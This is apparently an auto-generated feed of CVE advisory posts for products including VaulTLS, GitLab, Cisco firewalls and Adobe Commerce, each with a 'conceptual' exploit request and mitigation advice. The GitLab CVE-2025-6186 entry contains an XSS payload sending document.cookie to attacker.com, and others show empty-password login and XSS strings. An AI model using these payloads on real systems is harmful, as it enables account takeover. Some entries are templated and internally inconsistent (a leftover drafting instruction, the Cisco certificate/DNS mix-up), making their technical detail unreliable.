Author: Ameeba

  • CVE-2025-55299: Critical Vulnerability in VaulTLS mTLS Certificate Management Solution

    Overview

    In the modern digital landscape, the security of communication channels is of paramount importance. Cryptographic protocols such as mTLS (mutual TLS) are used to ensure the confidentiality and authenticity of these channels. VaulTLS is a widely-used solution for managing mTLS certificates. However, a critical vulnerability coded as CVE-2025-55299 has been discovered in versions of VaulTLS prior to 0.9.1 which can lead to potential system compromise or data leakage. This issue affects a broad range of organizations and individuals using VaulTLS for mTLS certificate management and hence, warrants immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2025-55299
    Severity: Critical (CVSS Score: 9.4)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    VaulTLS | All versions prior to 0.9.1

    How the Exploit Works

    The vulnerability arises from the fact that user accounts created through the User web UI in VaulTLS versions prior to 0.9.1 have an empty but not NULL password set. This allows attackers to log in using an empty password. The situation is further exacerbated by the fact that disabling the password-based login only affected the frontend, leaving the API accessible. An attacker can leverage this oversight to log in via the API, potentially compromising the system or causing data leakage.

    Conceptual Example Code

    The following conceptual example demonstrates how an attacker might exploit this vulnerability. Please note that this is a simulated representation and not actual exploit code:

    POST /api/login HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "username": "victim_username", "password": "" }

    In the above example, an attacker sends a POST request to the /api/login endpoint with a legitimate username and an empty password. If the system is vulnerable, it will authenticate the request and grant the attacker access.

    Mitigation Guidance

    Users of VaulTLS are advised to immediately upgrade to version 0.9.1 or later where this vulnerability has been fixed. In cases where immediate upgrade is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. This can help detect and prevent unauthorized login attempts. However, this should be considered a stop-gap measure and not a permanent solution. The only definitive mitigation is to upgrade the affected software to a version where this vulnerability has been patched.

  • CVE-2025-55591: Critical Command Injection Vulnerability Discovered in TOTOLINK-A3002R

    Overview

    In the world of cybersecurity, uncovering vulnerabilities is a constant process to ensure the security of our digital systems. The latest flaw to be discovered is the CVE-2025-55591, a command injection vulnerability found in TOTOLINK-A3002R v4.0.0-B20230531.1404. This vulnerability affects all systems running this version of TOTOLINK-A3002R. Its severity cannot be overstated, given its potential for system compromise or data leakage. From a broader perspective, this discovery emphasizes the importance of ongoing cybersecurity diligence and the need for regular system updates and patching.

    Vulnerability Summary

    CVE ID: CVE-2025-55591
    Severity: Critical (CVSS: 9.8)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: Required
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    TOTOLINK-A3002R | v4.0.0-B20230531.1404

    How the Exploit Works

    The vulnerability exploits a command injection flaw in the ‘devicemac’ parameter in the ‘formMapDel’ endpoint of the TOTOLINK-A3002R system. An attacker could inject malicious commands into this parameter, which the system would execute without proper validation. This exploit could potentially lead to a complete system compromise and unauthorized access to sensitive data.

    Conceptual Example Code

    The below example demonstrates a theoretical exploit of this vulnerability. It’s a simple HTTP POST request where a malicious payload is inserted into the ‘devicemac’ parameter.

    POST /formMapDel HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "devicemac": "malicious command here" }

    Mitigation and Patching

    To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.
    In conclusion, it’s essential to keep systems updated and regularly conduct security reviews to detect and rectify such vulnerabilities promptly. This discovery reiterates the importance of cybersecurity vigilance and the need for continuous improvement in our defense mechanisms against cyber threats.

  • CVE-2025-55293: High Risk Vulnerability in Meshtastic’s Mesh Networking Solution

    Overview

    A critical vulnerability, designated as CVE-2025-55293, has been identified in Meshtastic’s open-source mesh networking solution. This vulnerability could potentially allow an attacker to overwrite the publicKey of a known node with a malicious key, thereby compromising the system or leading to potential data leakage. It affects all versions of Meshtastic prior to v2.6.3 and is of particular significance due to the high severity score of 9.4, as determined by the Common Vulnerability Scoring System (CVSS).

    Vulnerability Summary

    CVE ID: CVE-2025-55293
    Severity: High (CVSS: 9.4)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Meshtastic | Prior to v2.6.3

    How the Exploit Works

    The vulnerability arises from a flaw in the system’s handling of NodeInfo. An attacker can send NodeInfo with a blank publicKey first, which bypasses the ‘if (p.public_key.size > 0) {‘ check and clears the existing publicKey for a known node. Subsequently, the attacker can send a new key which bypasses the ‘if (info->user.public_key.size > 0) {‘ check, and the malicious key is then stored in NodeDB.

    Conceptual Example Code

    This conceptual example demonstrates how the vulnerability might be exploited. This could be a sample HTTP request, shell command, or pseudocode. Include it directly in a code block like this:

    POST /nodeinfo/publickey HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "public_key": "" }
    POST /nodeinfo/publickey HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "public_key": "malicious_key" }

    In this example, the attacker first sends an empty “public_key”, which clears the existing publicKey for a known node. The attacker then sends a “public_key” containing a malicious key, which is subsequently saved in the NodeDB.

    Impact of the Vulnerability

    A successful exploit of this vulnerability could potentially lead to a system compromise and data leakage. This is because the attacker’s malicious key would be stored in the NodeDB, granting them unauthorized access to the system.

    Recommended Mitigation

    Users of Meshtastic’s mesh networking solution are strongly advised to upgrade to version 2.6.3 immediately, as this version contains a patch that fixes the vulnerability. As a temporary mitigation strategy, it is also recommended to use Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS).

  • CVE-2025-20134: Critical Denial of Service Vulnerability in Cisco Secure Firewall Software

    Overview

    In this blog post, we will delve into the details of a significant cybersecurity vulnerability that has surfaced in the Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software. This vulnerability, designated as CVE-2025-20134, has the potential to cause grave system disruption and data leakage.
    It is of particular concern to organizations and entities that utilize Cisco’s firewall solutions for their network protection. This vulnerability could lead to an unexpected system reload, rendering the device unresponsive and resulting in a Denial of Service (DoS), which can significantly impact an organization’s operations and service delivery.

    Vulnerability Summary

    CVE ID: CVE-2025-20134
    Severity: Critical, CVSS score of 8.6
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Denial of Service, potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Cisco Secure Firewall Adaptive Security Appliance (ASA) Software | All versions prior to patch
    Cisco Secure Firewall Threat Defense (FTD) Software | All versions prior to patch

    How the Exploit Works

    The vulnerability stems from improper parsing of SSL/TLS certificates by the Cisco Secure Firewall software. An attacker can exploit this vulnerability by crafting malicious DNS packets that match a static Network Address Translation (NAT) rule with DNS inspection enabled. When these packets pass through the affected device, it triggers an improper parsing process leading to an unexpected system reboot, thus causing a DoS condition.

    Conceptual Example Code

    Below is a conceptual example of how an attacker might craft a DNS packet to exploit this vulnerability:

    # Create a malicious DNS packet
    dns_packet = create_dns_packet()
    # Craft the packet to match a static NAT rule with DNS inspection enabled
    dns_packet.match_static_nat_rule('example.com')
    # Send the crafted packet through the targeted system
    send_packet(dns_packet, 'target_system_ip')

    Please note that this is a conceptual example and actual exploitation would require intricate knowledge of packet crafting and the target system’s configuration.

    Mitigation Guidance

    The recommended mitigation for this vulnerability is to apply the patch provided by the vendor. In situations where immediate patching is not possible, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation by filtering out malicious DNS packets. However, these are not long-term solutions and organizations are strongly advised to apply the vendor patch as soon as feasible to ensure maximum protection against potential exploits.

  • CVE-2025-20133: Remote Access SSL VPN Vulnerability in Cisco Secure Firewall ASA Software and Secure FTD Software

    Overview

    A critical vulnerability, designated as CVE-2025-20133, has been identified within the Remote Access SSL VPN feature of Cisco Secure Firewall ASA Software and Secure FTD Software. This vulnerability could potentially allow an unauthenticated, remote attacker to render the device unresponsive, thereby triggering a Denial of Service (DoS) condition.
    This vulnerability is of high importance, particularly for businesses and corporations using Cisco Secure Firewall ASA Software and Secure FTD Software. The successful exploitation of this vulnerability could ultimately lead to system compromise or data leakage, posing significant risks to data integrity and business continuity.

    Vulnerability Summary

    CVE ID: CVE-2025-20133
    Severity: High (8.6 on the CVSS scale)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Successful exploitation could lead to system disruption (DoS condition) and potential system compromise or data leakage.

    Affected Products

    Product | Affected Versions

    Cisco Secure Firewall ASA Software | All versions preceding the vendor patch
    Cisco Secure FTD Software | All versions preceding the vendor patch

    How the Exploit Works

    The vulnerability stems from ineffective validation of user-supplied input during the Remote Access SSL VPN authentication process. An attacker can exploit this vulnerability by sending a specially crafted request to the VPN service on an affected device. This malformed request, when processed, causes the device to stop responding to Remote Access SSL VPN authentication requests, ultimately leading to a DoS condition.

    Conceptual Example Code

    Below is a conceptual HTTP request example that could potentially exploit the vulnerability:

    POST /vpn_authenticate HTTP/1.1
    Host: target_device_IP
    Content-Type: application/json
    { "username": "valid_user", "password": "malicious_payload" }

    In this example, the “malicious_payload” is designed to exploit the vulnerability by triggering the DoS condition. The actual form and specifics of the “malicious_payload” would depend on the internal workings of the SSL VPN feature, which are not publicly disclosed for security reasons.

  • CVE-2025-40758: Critical Mendix SAML Vulnerability Allowing Account Hijacking

    Overview

    The cybersecurity landscape is a field riddled with vulnerabilities, and the latest to be discovered is CVE-2025-40758, a critical vulnerability within Mendix SAML. This vulnerability affects multiple versions of Mendix SAML, including Mendix 10.12, 10.21, and 9.24 compatible versions. If exploited, this vulnerability could allow unauthenticated remote attackers to hijack accounts in specific SSO configurations, leading to potential system compromise or data leakage. Considering the widespread use of Mendix SAML, this vulnerability has serious implications that necessitate immediate attention.

    Vulnerability Summary

    CVE ID: CVE-2025-40758
    Severity: Critical (8.7 CVSS Severity Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise and data leakage

    Affected Products

    Product | Affected Versions

    Mendix SAML (Mendix 10.12 compatible) | All versions < V4.0.3 Mendix SAML (Mendix 10.21 compatible) | All versions < V4.1.2 Mendix SAML (Mendix 9.24 compatible) | All versions < V3.6.21 How the Exploit Works

    In the identified versions of Mendix SAML, signature validation and binding checks are insufficiently enforced. This lack of enforcement creates a loophole that can be exploited by unauthenticated remote attackers. By manipulating SSO configurations, these attackers can bypass authentication processes and hijack user accounts. As a result, attackers can gain unauthorized access to systems, potentially compromising the system or causing data leakage.

    Conceptual Example Code

    A conceptual example of how the vulnerability might be exploited could look something like this:

    POST /saml/SSO/alias/{alias} HTTP/1.1
    Host: target.example.com
    Content-Type: application/xml
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
    <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="identifier_1" InResponseTo="identifier_2" Version="2.0">
    <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
    </samlp:Status>
    <!-- Insert malicious payload here -->
    </samlp:Response>
    </soapenv:Body>
    </soapenv:Envelope>

    In this example, the attacker sends a malicious SOAP request to the SSO endpoint, containing a forged SAML response. The insufficient enforcement of signature validation and binding checks might make the system accept this forged response, leading to an account hijack.

    Mitigation Guidance

    To mitigate this vulnerability, users are advised to apply vendor patches as soon as they become available. For Mendix SAML versions listed above, users should upgrade to versions V4.0.3, V4.1.2, and V3.6.21 respectively. Until the patch is applied, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.

  • CVE-2025-7739: Stored Cross-Site Scripting Vulnerability in GitLab CE/EE

    Overview

    Recently, a potentially devastating vulnerability, identified as CVE-2025-7739, was discovered in GitLab CE/EE. This vulnerability affects all versions from 18.2 before 18.2.2. The issue pertains to stored cross-site scripting (XSS), a serious security flaw that can allow authenticated users to inject malicious HTML content into scoped label descriptions under certain conditions. This can lead to potential system compromise or data leakage, posing significant risks to both data integrity and user privacy.

    Vulnerability Summary

    CVE ID: CVE-2025-7739
    Severity: High (8.7 CVSS Score)
    Attack Vector: Web-based
    Privileges Required: User
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    GitLab CE | 18.2 before 18.2.2
    GitLab EE | 18.2 before 18.2.2

    How the Exploit Works

    The exploit takes advantage of a flaw in the handling of scoped label descriptions in GitLab CE/EE. An attacker with user-level privileges, under certain conditions, can inject malicious HTML content into these descriptions. When these descriptions are rendered by a web browser, the malicious code is executed, potentially compromising the system or leaking sensitive data.

    Conceptual Example Code

    Here’s a high-level example of how an attacker might exploit this vulnerability:

    POST /api/v4/projects/1/labels HTTP/1.1
    Host: gitlab.example.com
    Content-Type: application/json
    Authorization: Bearer <User-Token>
    {
    "name": "legitimate_label",
    "color": "#0033CC",
    "description": "<img src=x onerror=alert('XSS')>"
    }

    In this example, the attacker is creating a new label. The description contains an image tag with a non-existent source (x), triggering the ‘onerror’ event, which executes a JavaScript ‘alert’ function. In a real-world scenario, the malicious script could carry out more harmful actions, such as stealing session cookies or performing actions on behalf of the user.

    Mitigation Guidance

    The most straightforward way to address this vulnerability is by applying the vendor-supplied patch. This patch corrects the flaw within the label description handling, preventing the execution of injected HTML. For those who cannot immediately apply the patch, using a web application firewall (WAF) or intrusion detection system (IDS) can offer temporary mitigation by detecting and blocking attempts to exploit this vulnerability.
    Nevertheless, it’s important to apply the patch as soon as possible to fully resolve the issue, as relying on WAFs or IDS systems may not provide complete protection against all potential exploitation techniques.

  • CVE-2025-7734: Critical GitLab CE/EE Vulnerability Allows Unauthorized Actions by Attackers

    Overview

    The cybersecurity landscape is filled with never-ending threats, and one that has recently come to light is CVE-2025-7734. This vulnerability affects GitLab CE/EE, a popular web-based DevOps lifecycle tool. The vulnerability affects all versions from 14.2 to versions before 18.0.6, 18.1 before 18.1.4, and 18.2 before 18.2.2 respectively. This vulnerability is significant because it potentially allows an attacker to execute unauthorized actions on behalf of users by injecting malicious content, posing a severe threat to system integrity and data security.

    Vulnerability Summary

    CVE ID: CVE-2025-7734
    Severity: High (8.7 CVSS)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    GitLab CE | 14.2 to <18.0.6 GitLab EE | 14.2 to <18.0.6 GitLab CE | 18.1 to <18.1.4 GitLab EE | 18.1 to <18.1.4 GitLab CE | 18.2 to <18.2.2 GitLab EE | 18.2 to <18.2.2 How the Exploit Works

    The vulnerability stems from the ability for an attacker to inject malicious content into GitLab. A lack of proper input validation or sanitization could potentially allow an attacker to manipulate data and perform actions on behalf of users. This could lead to unauthorized changes to the system or data leakage.

    Conceptual Example Code

    Here is a conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request that could potentially be sent to a vulnerable GitLab instance:

    POST /api/v4/projects/ HTTP/1.1
    Host: gitlab.example.com
    Content-Type: application/json
    {
    "name": "NewProject",
    "description": "<img src=x onerror=alert('CVE-2025-7734')>",
    "visibility": "public"
    }

    In this example, the attacker tries to create a new project with an embedded script in the description. When viewed by a user in their browser, the script would execute, demonstrating the kind of unauthorized action that could be taken.

    Mitigation Guidance

    Users are advised to apply the vendor patch to mitigate this vulnerability. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation measure. Furthermore, organizations should review their cybersecurity strategies to ensure they can effectively manage such vulnerabilities and rapidly respond to emerging threats.

  • CVE-2025-6186: Account Takeover Vulnerability in GitLab CE/EE

    Overview

    A significant security vulnerability, CVE-2025-6186, has been discovered affecting GitLab Community Edition (CE) and Enterprise Edition (EE) that could potentially lead to account takeover. This vulnerability affects all versions from 18.1 before 18.1.4, and 18.2 before 18.2.2. This is a notable concern for any organization using these versions of GitLab as it could lead to unauthorized access, system compromise, or data leakage.
    The vulnerability enables authenticated users to inject malicious HTML into work item names, a flaw that could be exploited to gain unauthorized control of another user’s account. This post will provide an in-depth look at this vulnerability, its potential impact, and the steps that can be taken to mitigate its risk.

    Vulnerability Summary

    CVE ID: CVE-2025-6186
    Severity: High (8.7 on the CVSS scale)
    Attack Vector: Web-based
    Privileges Required: User level
    User Interaction: Required
    Impact: Account takeover, potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    GitLab CE | 18.1 before 18.1.4
    GitLab EE | 18.2 before 18.2.2

    How the Exploit Works

    The vulnerability occurs due to a lack of proper sanitization of user input in work item names. An authenticated user can craft malicious HTML code, which when entered as a work item name, can result in cross-site scripting (XSS). This malicious script can then be executed in the victim’s browser when they view the infected work item, potentially leading to unauthorized account access or even account takeover.

    Conceptual Example Code

    This is a
    conceptual
    example of how the vulnerability might be exploited. This is not a real exploit, but a demonstration of the underlying principle:

    POST /workitems HTTP/1.1
    Host: gitlab.example.com
    Content-Type: application/json
    {
    "work_item_name": "<img src='x' onerror='fetch(`http://attacker.com/steal?cookie=${document.cookie}`)'>"
    }

    In this conceptual example, a malicious payload in the form of an HTML image tag is sent to the work items endpoint. The image tag contains a JavaScript `onerror` event that triggers when the image fails to load (as ‘x’ is not a valid source). This event sends a request to the attacker’s server with the victim’s cookies, potentially allowing session hijacking or account takeover.

    Mitigation Guidance

    Affected users should apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If immediate patching is not possible, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. The WAF or IDS should be configured to detect and block attempts to exploit this vulnerability, such as attempts to inject HTML into work item names.

  • CVE-2025-49557: Stored Cross-Site Scripting Vulnerability in Adobe Commerce

    Overview

    In this blog post, we will delve into the intricacies of an identified security vulnerability, CVE-2025-49557, that affects several versions of Adobe Commerce. This vulnerability is a stored Cross-Site Scripting (XSS) issue, which can be exploited by a low-privileged attacker to inject malicious scripts into susceptible form fields. With a CVSS Severity Score of 8.7, it poses a significant threat to Adobe Commerce users as it can lead to potential system compromise or data leakage. Understanding this vulnerability, its potential impacts, and mitigation strategies is crucial for all stakeholders involved in maintaining and securing Adobe Commerce environments.

    Vulnerability Summary

    CVE ID: CVE-2025-49557
    Severity: High (8.7 CVSS Score)
    Attack Vector: Stored Cross-Site Scripting (XSS)
    Privileges Required: Low
    User Interaction: Required
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Adobe Commerce | 2.4.9-alpha1, 2.4.8-p1, 2.4.7-p6, 2.4.6-p11, 2.4.5-p13, 2.4.4-p14 and earlier

    How the Exploit Works

    The vulnerability lies in the form fields of several versions of Adobe Commerce. An attacker with low privileges can exploit this vulnerability by injecting malicious scripts into these form fields. The scripts, once stored, can be executed when a victim browses to the page containing the vulnerable field. These scripts can then escalate privileges within the application or access sensitive user data, leading to potential system compromise or data leakage.

    Conceptual Example Code

    The example below showcases a conceptual HTTP request that could be used to exploit this vulnerability. The request sends a POST to a hypothetical vulnerable endpoint in Adobe Commerce, including a malicious script in the payload.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "form_field": "<script>malicious code here</script>" }

    Please note that this is a conceptual example and the actual exploitation of this vulnerability would require a more sophisticated understanding of the Adobe Commerce system and the specific form fields that are vulnerable.

    Mitigation Guidance

    The primary mitigation strategy for this vulnerability is to apply the vendor patch. Adobe has released patches for the affected versions of Adobe Commerce, which can be directly applied to secure the system. In situations where the patch cannot be immediately applied, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can detect and block malicious scripts, thereby preventing exploitation of the vulnerability.

Ameeba Chat
Anonymous, Encrypted
No Identity.

Chat freely with encrypted messages and anonymous aliases – no personal info required.

Ameeba Chat